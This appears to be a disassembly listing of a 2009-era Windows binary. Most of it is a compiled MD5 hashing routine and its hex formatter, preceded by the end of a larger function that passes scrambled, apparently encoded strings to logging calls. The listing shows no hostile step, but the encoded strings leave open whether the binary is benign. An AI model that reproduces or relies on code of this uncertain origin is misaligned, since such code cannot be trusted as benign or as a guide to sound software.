loc_414813: ; CODE XREF: sub_40A938+9ED2j
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push [ebp+arg_C]
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_414831: ; CODE XREF: sub_40A938+9EC1j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_41483B: ; CODE XREF: sub_40A938+9EC7j
test ebx, ebx
mov ebx, offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_414849
mov ebx, offset aJvatg1988z81 ; "jVATg1988z81"
loc_414849: ; CODE XREF: sub_40A938+17FAj
; sub_40A938+1826j ...
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
loc_414855: ; CODE XREF: sub_40A938+95Aj
; sub_40A938+FA1j
push ebx
loc_414856: ; CODE XREF: sub_40A938+9A0j
; sub_40A938+DD4j ...
push edi
loc_414857: ; CODE XREF: sub_40A938+D01j
; sub_40A938+4BD3j ...
push dword ptr [esi]
loc_414859: ; CODE XREF: sub_40A938+A00j
push [ebp+arg_10]
call sub_41CD0E
loc_414861: ; CODE XREF: sub_40A938+1508j
add esp, 18h
jmp short loc_4148CF
; ---------------------------------------------------------------------------
loc_414866: ; CODE XREF: sub_40A938+18ADj
; sub_40A938+18BEj
xor eax, eax
cmp [ebp+arg_18], eax
jnz short loc_41489E
cmp [ebp+arg_20], eax
mov eax, offset aBuiltSep420092 ; " Built: Sep 4 2009 21:52:38"
jnz short loc_41487C
mov eax, offset byte_454A34
loc_41487C: ; CODE XREF: sub_40A938+9F3Dj
push eax
push offset a3c9 ; "]&3c9"
push offset dword_4439A4
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSSS ; "%s %s (%s) %s"
loc_414891: ; CODE XREF: sub_40A938+290Fj
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
jmp short loc_4148CC
; ---------------------------------------------------------------------------
loc_41489E: ; CODE XREF: sub_40A938+9F33j
cmp [ebp+arg_20], eax
mov eax, offset aBuiltSep420092 ; " Built: Sep 4 2009 21:52:38"
jnz short loc_4148AD
mov eax, offset byte_454A34
loc_4148AD: ; CODE XREF: sub_40A938+9F6Ej
push eax
push offset a3c9 ; "]&3c9"
push offset dword_4439A4
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSSS ; "%s %s (%s) %s"
loc_4148C2: ; CODE XREF: sub_40A938+91Aj
; sub_40A938+1884j ...
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
loc_4148CC: ; CODE XREF: sub_40A938+9F64j
add esp, 1Ch
loc_4148CF: ; CODE XREF: sub_40A938+2Bj
; sub_40A938+3Cj ...
xor eax, eax
inc eax
loc_4148D2: ; CODE XREF: sub_40A938+1A9Ej
; sub_40A938+85F1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40A938 endp
; =============== S U B R O U T I N E =======================================
sub_4148D7 proc near ; CODE XREF: sub_4154E4+23p
push esi
mov esi, ecx
call sub_4154B8
mov eax, esi
pop esi
retn
sub_4148D7 endp
; =============== S U B R O U T I N E =======================================
sub_4148E3 proc near ; CODE XREF: sub_415413+3p
and dword ptr [ecx], 0
and dword ptr [ecx+4], 0
mov dword ptr [ecx+8], 67452301h
mov dword ptr [ecx+0Ch], 0EFCDAB89h
mov dword ptr [ecx+10h], 98BADCFEh
mov dword ptr [ecx+14h], 10325476h
retn
sub_4148E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414907 proc near ; CODE XREF: sub_415294+45p
; sub_415294+64p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
mov eax, [ebp+arg_0]
xor edx, edx
push ebx
push esi
mov dh, [eax+3]
push edi
mov dl, [eax+2]
movzx esi, byte ptr [eax+1]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+5]
mov [ebp+var_40], edx
xor edx, edx
mov dh, [eax+7]
mov dl, [eax+6]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+4]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+9]
mov [ebp+var_3C], edx
xor edx, edx
mov dh, [eax+0Bh]
mov dl, [eax+0Ah]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+8]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+0Dh]
mov [ebp+var_38], edx
xor edx, edx
mov dh, [eax+0Fh]
mov dl, [eax+0Eh]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+0Ch]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+11h]
mov [ebp+var_34], edx
xor edx, edx
mov dh, [eax+13h]
mov dl, [eax+12h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+10h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+15h]
mov [ebp+var_30], edx
xor edx, edx
mov dh, [eax+17h]
mov dl, [eax+16h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+14h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+19h]
mov [ebp+var_2C], edx
xor edx, edx
mov dh, [eax+1Bh]
mov dl, [eax+1Ah]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+18h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+1Dh]
mov [ebp+var_28], edx
xor edx, edx
mov dh, [eax+1Fh]
mov dl, [eax+1Eh]
shl edx, 8
or edx, esi
shl edx, 8
movzx esi, byte ptr [eax+1Ch]
or edx, esi
movzx esi, byte ptr [eax+21h]
mov [ebp+var_24], edx
xor edx, edx
mov dh, [eax+23h]
mov dl, [eax+22h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+20h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+25h]
mov [ebp+var_20], edx
xor edx, edx
mov dh, [eax+27h]
mov dl, [eax+26h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+24h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+29h]
mov [ebp+var_1C], edx
xor edx, edx
mov dh, [eax+2Bh]
mov dl, [eax+2Ah]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+28h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+2Dh]
mov [ebp+var_18], edx
xor edx, edx
mov dh, [eax+2Fh]
mov dl, [eax+2Eh]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+2Ch]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+31h]
mov [ebp+var_14], edx
xor edx, edx
mov dh, [eax+33h]
mov dl, [eax+32h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+30h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+35h]
mov [ebp+var_10], edx
xor edx, edx
mov dh, [eax+37h]
mov dl, [eax+36h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+34h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+39h]
mov [ebp+var_C], edx
xor edx, edx
mov dh, [eax+3Bh]
mov dl, [eax+3Ah]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+38h]
shl edx, 8
or edx, esi
movzx esi, byte ptr [eax+3Dh]
mov [ebp+var_8], edx
xor edx, edx
mov dh, [eax+3Fh]
mov dl, [eax+3Eh]
movzx eax, byte ptr [eax+3Ch]
shl edx, 8
or edx, esi
shl edx, 8
mov esi, [ecx+14h]
mov edi, [ecx+10h]
mov ebx, [ecx+0Ch]
or edx, eax
mov eax, [ecx+8]
mov [ebp+var_4], edx
mov edx, esi
xor edx, edi
and edx, ebx
xor edx, esi
add edx, eax
mov eax, [ebp+var_40]
lea edx, [edx+eax-28955B88h]
mov eax, edx
shr eax, 19h
shl edx, 7
or eax, edx
mov edx, edi
add eax, ebx
xor edx, ebx
and edx, eax
xor edx, edi
add edx, [ebp+var_3C]
lea esi, [esi+edx-173848AAh]
mov edx, esi
shr edx, 14h
shl esi, 0Ch
or edx, esi
mov esi, ebx
add edx, eax
xor esi, eax
and esi, edx
xor esi, ebx
mov ebx, edx
add esi, [ebp+var_38]
xor ebx, eax
lea edi, [edi+esi+242070DBh]
mov esi, edi
shr esi, 0Fh
shl edi, 11h
or esi, edi
mov edi, [ecx+0Ch]
add esi, edx
and ebx, esi
xor ebx, eax
add ebx, [ebp+var_34]
lea edi, [edi+ebx-3E423112h]
mov ebx, edi
shl ebx, 16h
shr edi, 0Ah
or ebx, edi
mov edi, edx
add ebx, esi
xor edi, esi
and edi, ebx
mov [ebp+arg_0], ebx
xor edi, edx
add edi, [ebp+var_30]
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
mov eax, esi
add edi, ebx
xor eax, ebx
and eax, edi
xor eax, esi
add eax, [ebp+var_2C]
lea edx, [edx+eax+4787C62Ah]
mov eax, edx
shr eax, 14h
shl edx, 0Ch
or eax, edx
mov edx, ebx
add eax, edi
xor edx, edi
and edx, eax
xor edx, ebx
add edx, [ebp+var_28]
lea esi, [esi+edx-57CFB9EDh]
mov edx, esi
shr edx, 0Fh
shl esi, 11h
or edx, esi
mov esi, eax
add edx, eax
xor esi, edi
and esi, edx
xor esi, edi
add esi, [ebp+var_24]
lea esi, [ebx+esi-2B96AFFh]
mov ebx, esi
shl ebx, 16h
shr esi, 0Ah
or ebx, esi
mov esi, eax
xor esi, edx
add ebx, edx
and esi, ebx
mov [ebp+arg_0], ebx
xor esi, eax
add esi, [ebp+var_20]
lea edi, [edi+esi+698098D8h]
mov esi, edi
shr esi, 19h
shl edi, 7
or esi, edi
mov edi, edx
add esi, ebx
xor edi, ebx
and edi, esi
xor edi, edx
add edi, [ebp+var_1C]
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
mov eax, ebx
add edi, esi
xor eax, esi
and eax, edi
xor eax, ebx
add eax, [ebp+var_18]
lea edx, [edx+eax-0A44Fh]
mov eax, edx
shr eax, 0Fh
shl edx, 11h
or eax, edx
mov edx, edi
add eax, edi
xor edx, esi
and edx, eax
xor edx, esi
add edx, [ebp+var_14]
lea edx, [ebx+edx-76A32842h]
mov ebx, edx
shl ebx, 16h
shr edx, 0Ah
or ebx, edx
mov edx, edi
add ebx, eax
xor edx, eax
and edx, ebx
mov [ebp+arg_0], ebx
xor edx, edi
add edx, [ebp+var_10]
lea esi, [esi+edx+6B901122h]
mov edx, esi
shr edx, 19h
shl esi, 7
or edx, esi
mov esi, eax
add edx, ebx
xor esi, ebx
and esi, edx
xor esi, eax
add esi, [ebp+var_C]
lea edi, [edi+esi-2678E6Dh]
mov ebx, edi
shr ebx, 14h
shl edi, 0Ch
or ebx, edi
mov edi, [ebp+arg_0]
mov esi, edi
add ebx, edx
xor esi, edx
and esi, ebx
xor esi, edi
add esi, [ebp+var_8]
lea eax, [eax+esi-5986BC72h]
mov esi, eax
shr esi, 0Fh
shl eax, 11h
or esi, eax
mov eax, ebx
add esi, ebx
xor eax, edx
and eax, esi
xor eax, edx
add eax, [ebp+var_4]
lea edi, [edi+eax+49B40821h]
mov eax, edi
shl eax, 16h
shr edi, 0Ah
or eax, edi
mov edi, esi
add eax, esi
xor edi, eax
and edi, ebx
xor edi, esi
add edi, [ebp+var_3C]
lea edx, [edx+edi-9E1DA9Eh]
mov edi, edx
shr edi, 1Bh
shl edx, 5
or edi, edx
mov edx, eax
add edi, eax
xor edx, edi
and edx, esi
xor edx, eax
add edx, [ebp+var_28]
lea ebx, [ebx+edx-3FBF4CC0h]
mov edx, ebx
shr edx, 17h
shl ebx, 9
or edx, ebx
add edx, edi
mov ebx, edx
xor ebx, edi
and ebx, eax
xor ebx, edi
add ebx, [ebp+var_14]
lea esi, [esi+ebx+265E5A51h]
mov ebx, esi
shr ebx, 12h
shl esi, 0Eh
or ebx, esi
mov esi, edx
add ebx, edx
xor esi, ebx
and esi, edi
xor esi, edx
add esi, [ebp+var_40]
lea eax, [eax+esi-16493856h]
mov esi, eax
shl esi, 14h
shr eax, 0Ch
or esi, eax
mov eax, ebx
add esi, ebx
xor eax, esi
and eax, edx
xor eax, ebx
add eax, [ebp+var_2C]
lea edi, [edi+eax-29D0EFA3h]
mov eax, edi
shr eax, 1Bh
shl edi, 5
or eax, edi
add eax, esi
mov edi, esi
xor edi, eax
and edi, ebx
xor edi, esi
add edi, [ebp+var_18]
lea edx, [edx+edi+2441453h]
mov edi, edx
shr edi, 17h
shl edx, 9
or edi, edx
add edi, eax
mov edx, edi
xor edx, eax
and edx, esi
xor edx, eax
add edx, [ebp+var_4]
lea ebx, [ebx+edx-275E197Fh]
mov edx, ebx
shr edx, 12h
shl ebx, 0Eh
or edx, ebx
mov ebx, edi
add edx, edi
xor ebx, edx
and ebx, eax
xor ebx, edi
add ebx, [ebp+var_30]
lea esi, [esi+ebx-182C0438h]
mov ebx, esi
shl ebx, 14h
shr esi, 0Ch
or ebx, esi
mov esi, edx
add ebx, edx
xor esi, ebx
and esi, edi
xor esi, edx
add esi, [ebp+var_1C]
lea eax, [eax+esi+21E1CDE6h]
mov esi, eax
shr esi, 1Bh
shl eax, 5
or esi, eax
mov eax, ebx
add esi, ebx
xor eax, esi
and eax, edx
xor eax, ebx
add eax, [ebp+var_8]
lea edi, [edi+eax-3CC8F82Ah]
mov eax, edi
shr eax, 17h
shl edi, 9
or eax, edi
add eax, esi
mov edi, eax
xor edi, esi
and edi, ebx
xor edi, esi
add edi, [ebp+var_34]
lea edx, [edx+edi-0B2AF279h]
mov edi, edx
shr edi, 12h
shl edx, 0Eh
or edi, edx
mov edx, eax
add edi, eax
xor edx, edi
and edx, esi
xor edx, eax
add edx, [ebp+var_20]
lea ebx, [ebx+edx+455A14EDh]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, edi
add edx, edi
xor ebx, edx
and ebx, eax
xor ebx, edi
add ebx, [ebp+var_C]
lea esi, [esi+ebx-561C16FBh]
mov ebx, esi
shr ebx, 1Bh
shl esi, 5
or ebx, esi
mov esi, edx
add ebx, edx
xor esi, ebx
and esi, edi
xor esi, edx
add esi, [ebp+var_38]
lea eax, [eax+esi-3105C08h]
mov esi, eax
shr esi, 17h
shl eax, 9
or esi, eax
add esi, ebx
mov eax, esi
mov [ebp+arg_0], esi
xor eax, ebx
and eax, edx
xor eax, ebx
add eax, [ebp+var_24]
lea eax, [edi+eax+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
add edi, esi
xor [ebp+arg_0], edi
mov eax, [ebp+arg_0]
and eax, ebx
xor eax, esi
add eax, [ebp+var_10]
lea edx, [edx+eax-72D5B376h]
mov eax, edx
shl eax, 14h
shr edx, 0Ch
or eax, edx
mov edx, [ebp+arg_0]
add eax, edi
xor edx, eax
add edx, [ebp+var_2C]
lea ebx, [ebx+edx-5C6BEh]
mov edx, ebx
shr edx, 1Ch
shl ebx, 4
or edx, ebx
mov ebx, edi
add edx, eax
xor ebx, eax
xor ebx, edx
add ebx, [ebp+var_20]
lea esi, [esi+ebx-788E097Fh]
mov ebx, esi
shr ebx, 15h
shl esi, 0Bh
or ebx, esi
add ebx, edx
mov esi, ebx
mov [ebp+arg_0], ebx
xor esi, eax
xor esi, edx
add esi, [ebp+var_14]
lea edi, [edi+esi+6D9D6122h]
mov esi, edi
shr esi, 10h
shl edi, 10h
or esi, edi
add esi, ebx
xor [ebp+arg_0], esi
mov edi, [ebp+arg_0]
xor edi, edx
add edi, [ebp+var_8]
lea edi, [eax+edi-21AC7F4h]
mov eax, edi
shl eax, 17h
shr edi, 9
or eax, edi
add eax, esi
mov edi, [ebp+arg_0]
xor edi, eax
add edi, [ebp+var_3C]
lea edi, [edx+edi-5B4115BCh]
mov edx, edi
shr edx, 1Ch
shl edi, 4
or edx, edi
mov edi, esi
add edx, eax
xor edi, eax
xor edi, edx
add edi, [ebp+var_30]
lea ebx, [ebx+edi+4BDECFA9h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, edx
mov ebx, edi
mov [ebp+arg_0], edi
xor ebx, eax
xor ebx, edx
add ebx, [ebp+var_24]
lea esi, [esi+ebx-944B4A0h]
mov ebx, esi
shr ebx, 10h
shl esi, 10h
or ebx, esi
add ebx, edi
xor [ebp+arg_0], ebx
mov esi, [ebp+arg_0]
xor esi, edx
add esi, [ebp+var_18]
lea esi, [eax+esi-41404390h]
mov eax, esi
shl eax, 17h
shr esi, 9
or eax, esi
mov esi, [ebp+arg_0]
add eax, ebx
xor esi, eax
add esi, [ebp+var_C]
lea esi, [edx+esi+289B7EC6h]
mov edx, esi
shr edx, 1Ch
shl esi, 4
or edx, esi
mov esi, ebx
add edx, eax
xor esi, eax
xor esi, edx
add esi, [ebp+var_40]
lea edi, [edi+esi-155ED806h]
mov esi, edi
shr esi, 15h
shl edi, 0Bh
or esi, edi
add esi, edx
mov edi, esi
mov [ebp+arg_0], esi
xor edi, eax
xor edi, edx
add edi, [ebp+var_34]
lea ebx, [ebx+edi-2B10CF7Bh]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
add edi, esi
xor [ebp+arg_0], edi
mov ebx, [ebp+arg_0]
xor ebx, edx
add ebx, [ebp+var_28]
lea ebx, [eax+ebx+4881D05h]
mov eax, ebx
shl eax, 17h
shr ebx, 9
or eax, ebx
mov ebx, [ebp+arg_0]
add eax, edi
xor ebx, eax
add ebx, [ebp+var_1C]
lea ebx, [edx+ebx-262B2FC7h]
mov edx, ebx
shr edx, 1Ch
shl ebx, 4
or edx, ebx
mov ebx, edi
xor ebx, eax
add edx, eax
xor ebx, edx
add ebx, [ebp+var_10]
lea ebx, [esi+ebx-1924661Bh]
mov esi, ebx
shr esi, 15h
shl ebx, 0Bh
or esi, ebx
add esi, edx
mov ebx, esi
xor ebx, eax
xor ebx, edx
add ebx, [ebp+var_4]
lea ebx, [edi+ebx+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, esi
add edi, esi
xor ebx, edi
xor ebx, edx
add ebx, [ebp+var_38]
lea eax, [eax+ebx-3B53A99Bh]
mov ebx, eax
shl ebx, 17h
shr eax, 9
or ebx, eax
mov eax, esi
add ebx, edi
not eax
or eax, ebx
xor eax, edi
add eax, [ebp+var_40]
lea edx, [edx+eax-0BD6DDBCh]
mov eax, edx
shr eax, 1Ah
shl edx, 6
or eax, edx
mov edx, edi
add eax, ebx
not edx
or edx, eax
xor edx, ebx
add edx, [ebp+var_24]
lea esi, [esi+edx+432AFF97h]
mov edx, esi
shr edx, 16h
shl esi, 0Ah
or edx, esi
mov esi, ebx
add edx, eax
not esi
or esi, edx
xor esi, eax
add esi, [ebp+var_8]
lea edi, [edi+esi-546BDC59h]
mov esi, edi
shr esi, 11h
shl edi, 0Fh
or esi, edi
mov edi, eax
add esi, edx
not edi
or edi, esi
xor edi, edx
add edi, [ebp+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, edx
add edi, esi
not ebx
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_10]
lea ebx, [eax+ebx+655B59C3h]
mov eax, ebx
shl ebx, 6
shr eax, 1Ah
or eax, ebx
mov ebx, esi
not ebx
add eax, edi
or ebx, eax
xor ebx, edi
add ebx, [ebp+var_34]
lea ebx, [edx+ebx-70F3336Eh]
mov edx, ebx
shl ebx, 0Ah
shr edx, 16h
or edx, ebx
mov ebx, edi
not ebx
add edx, eax
or ebx, edx
xor ebx, eax
add ebx, [ebp+var_18]
lea ebx, [esi+ebx-100B83h]
mov esi, ebx
shl ebx, 0Fh
shr esi, 11h
or esi, ebx
mov ebx, eax
add esi, edx
not ebx
or ebx, esi
xor ebx, edx
add ebx, [ebp+var_3C]
lea ebx, [edi+ebx-7A7BA22Fh]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, edx
add edi, esi
not ebx
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_20]
lea ebx, [eax+ebx+6FA87E4Fh]
mov eax, ebx
shr eax, 1Ah
shl ebx, 6
or eax, ebx
mov ebx, esi
add eax, edi
not ebx
or ebx, eax
xor ebx, edi
add ebx, [ebp+var_4]
lea ebx, [edx+ebx-1D31920h]
mov edx, ebx
shr edx, 16h
shl ebx, 0Ah
or edx, ebx
mov ebx, edi
add edx, eax
not ebx
or ebx, edx
xor ebx, eax
add ebx, [ebp+var_28]
lea ebx, [esi+ebx-5CFEBCECh]
mov esi, ebx
shr esi, 11h
shl ebx, 0Fh
or esi, ebx
mov ebx, eax
add esi, edx
not ebx
or ebx, esi
xor ebx, edx
add ebx, [ebp+var_C]
lea ebx, [edi+ebx+4E0811A1h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, edx
add edi, esi
not ebx
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_30]
lea ebx, [eax+ebx-8AC817Eh]
mov eax, ebx
shr eax, 1Ah
shl ebx, 6
or eax, ebx
mov ebx, esi
add eax, edi
not ebx
or ebx, eax
xor ebx, edi
add ebx, [ebp+var_14]
lea edx, [edx+ebx-42C50DCBh]
mov ebx, edx
shr ebx, 16h
shl edx, 0Ah
or ebx, edx
mov edx, edi
add ebx, eax
not edx
or edx, ebx
xor edx, eax
add edx, [ebp+var_38]
lea esi, [esi+edx+2AD7D2BBh]
mov edx, esi
shr edx, 11h
shl esi, 0Fh
or edx, esi
mov esi, eax
add edx, ebx
not esi
or esi, edx
xor esi, ebx
add esi, [ebp+var_1C]
lea edi, [edi+esi-14792C6Fh]
mov esi, [ecx+8]
add esi, eax
mov eax, edi
shl eax, 15h
shr edi, 0Bh
or eax, edi
mov [ecx+8], esi
add eax, [ecx+0Ch]
pop edi
pop esi
add eax, edx
mov [ecx+0Ch], eax
mov eax, [ecx+10h]
add eax, edx
mov [ecx+10h], eax
mov eax, [ecx+14h]
add eax, ebx
pop ebx
mov [ecx+14h], eax
leave
retn 4
sub_414907 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415294 proc near ; CODE XREF: sub_415327+66p
; sub_415327+73p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, [ebp+arg_4]
push edi
test ecx, ecx
jz short loc_415321
mov eax, [esi]
push ebx
mov edi, eax
push 40h
and edi, 3Fh
pop ebx
add eax, ecx
sub ebx, edi
cmp eax, ecx
mov [esi], eax
jnb short loc_4152BA
inc dword ptr [esi+4]
loc_4152BA: ; CODE XREF: sub_415294+21j
test edi, edi
jz short loc_4152E9
cmp ecx, ebx
jb short loc_4152E9
push ebx
lea eax, [edi+esi+18h]
push [ebp+arg_0]
push eax
call sub_429350
add esp, 0Ch
lea eax, [esi+18h]
mov ecx, esi
push eax
call sub_414907
sub [ebp+arg_4], ebx
add [ebp+arg_0], ebx
mov ecx, [ebp+arg_4]
xor edi, edi
loc_4152E9: ; CODE XREF: sub_415294+28j
; sub_415294+2Cj
cmp ecx, 40h
jb short loc_41530B
mov ebx, ecx
shr ebx, 6
loc_4152F3: ; CODE XREF: sub_415294+72j
push [ebp+arg_0]
mov ecx, esi
call sub_414907
sub [ebp+arg_4], 40h
add [ebp+arg_0], 40h
dec ebx
jnz short loc_4152F3
mov ecx, [ebp+arg_4]
loc_41530B: ; CODE XREF: sub_415294+58j
test ecx, ecx
pop ebx
jz short loc_415321
push ecx
lea eax, [edi+esi+18h]
push [ebp+arg_0]
push eax
call sub_429350
add esp, 0Ch
loc_415321: ; CODE XREF: sub_415294+Cj
; sub_415294+7Aj
pop edi
pop esi
pop ebp
retn 8
sub_415294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415327 proc near ; CODE XREF: sub_415413+24p
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
push 38h
mov edi, [esi]
mov eax, [esi+4]
mov ecx, edi
shl eax, 3
shr ecx, 1Dh
or eax, ecx
mov ecx, edi
shl ecx, 3
mov edx, ecx
mov [ebp+var_8], cl
shr edx, 8
mov [ebp+var_7], dl
mov edx, ecx
loc_415353: ; DATA XREF: ?9:off_43D40Co
shr ecx, 18h
mov [ebp+var_5], cl
mov ecx, eax
shr ecx, 8
mov [ebp+var_3], cl
mov [ebp+var_4], al
mov ecx, eax
and edi, 3Fh
shr eax, 18h
mov [ebp+var_1], al
pop eax
shr edx, 10h
shr ecx, 10h
cmp edi, eax
mov [ebp+var_6], dl
mov [ebp+var_2], cl
jb short loc_415383
push 78h
pop eax
loc_415383: ; CODE XREF: sub_415327+57j
sub eax, edi
mov ecx, esi
push eax
push offset dword_442B50
call sub_415294
lea eax, [ebp+var_8]
push 8
push eax
mov ecx, esi
call sub_415294
mov eax, [ebp+arg_0]
mov cl, [esi+8]
pop edi
mov [eax], cl
mov ecx, [esi+8]
shr ecx, 8
mov [eax+1], cl
mov cl, [esi+0Ah]
mov [eax+2], cl
mov cl, [esi+0Bh]
mov [eax+3], cl
mov cl, [esi+0Ch]
mov [eax+4], cl
mov ecx, [esi+0Ch]
shr ecx, 8
mov [eax+5], cl
mov cl, [esi+0Eh]
mov [eax+6], cl
mov cl, [esi+0Fh]
mov [eax+7], cl
mov cl, [esi+10h]
mov [eax+8], cl
mov ecx, [esi+10h]
shr ecx, 8
mov [eax+9], cl
mov cl, [esi+12h]
mov [eax+0Ah], cl
mov cl, [esi+13h]
mov [eax+0Bh], cl
mov cl, [esi+14h]
mov [eax+0Ch], cl
mov ecx, [esi+14h]
shr ecx, 8
mov [eax+0Dh], cl
mov cl, [esi+16h]
mov [eax+0Eh], cl
mov cl, [esi+17h]
mov [eax+0Fh], cl
pop esi
leave
retn 4
sub_415327 endp
; =============== S U B R O U T I N E =======================================
sub_415413 proc near ; CODE XREF: sub_4154E4+3Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_4148E3
push [esp+4+arg_0]
call sub_4292D0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_415294
push [esp+4+arg_4]
mov ecx, esi
call sub_415327
pop esi
retn 8
sub_415413 endp
; =============== S U B R O U T I N E =======================================
sub_415440 proc near ; CODE XREF: sub_4154E4+46p
arg_0 = dword ptr 4
push esi
push 1
push 28h
call sub_42B2CA
mov esi, eax
mov eax, [esp+0Ch+arg_0]
movzx ecx, byte ptr [eax+10h]
push ecx
movzx ecx, byte ptr [eax+0Fh]
push ecx
movzx ecx, byte ptr [eax+0Eh]
push ecx
movzx ecx, byte ptr [eax+0Dh]
push ecx
movzx ecx, byte ptr [eax+0Ch]
push ecx
movzx ecx, byte ptr [eax+0Bh]
push ecx
movzx ecx, byte ptr [eax+0Ah]
push ecx
movzx ecx, byte ptr [eax+9]
push ecx
movzx ecx, byte ptr [eax+8]
push ecx
movzx ecx, byte ptr [eax+7]
push ecx
movzx ecx, byte ptr [eax+6]
push ecx
movzx ecx, byte ptr [eax+5]
push ecx
movzx ecx, byte ptr [eax+4]
push ecx
movzx ecx, byte ptr [eax+3]
push ecx
movzx ecx, byte ptr [eax+2]
push ecx
movzx ecx, byte ptr [eax+1]
movzx eax, byte ptr [eax]
push ecx
push eax
push offset a02x02x02x02x02 ; "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02"...
push esi
call sub_429A33
add esp, 54h
mov eax, esi
pop esi
retn 4
sub_415440 endp
; =============== S U B R O U T I N E =======================================
sub_4154B8 proc near ; CODE XREF: sub_4148D7+3p
push esi
mov esi, ecx
push 40h
push 0
lea eax, [esi+18h]
push eax
call sub_429690
push 10h
lea eax, [esi+8]
push 0
push eax
call sub_429690
push 8
push 0
push esi
call sub_429690
add esp, 24h
pop esi
retn
sub_4154B8 endp
; =============== S U B R O U T I N E =======================================
sub_4154E4 proc near ; CODE XREF: sub_40A938+A41p
; sub_420399+222p
mov eax, offset loc_436242
call sub_42B6FC
push ecx
push esi
push edi
push 58h
call sub_42B407
pop ecx
mov ecx, eax
mov [ebp-10h], ecx
xor esi, esi
cmp ecx, esi
mov [ebp-4], esi
jz short loc_41550E
call sub_4148D7
mov esi, eax
loc_41550E: ; CODE XREF: sub_4154E4+21j
or dword ptr [ebp-4], 0FFFFFFFFh
push 11h
call sub_42B407
pop ecx
mov edi, eax
push edi
mov ecx, esi
push dword ptr [ebp+8]
call sub_415413
push edi
mov ecx, esi
call sub_415440
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_4154E4 endp
; =============== S U B R O U T I N E =======================================
sub_41553D proc near ; CODE XREF: sub_41CD0E+40p
; sub_41CD84+40p ...
arg_0 = dword ptr 4
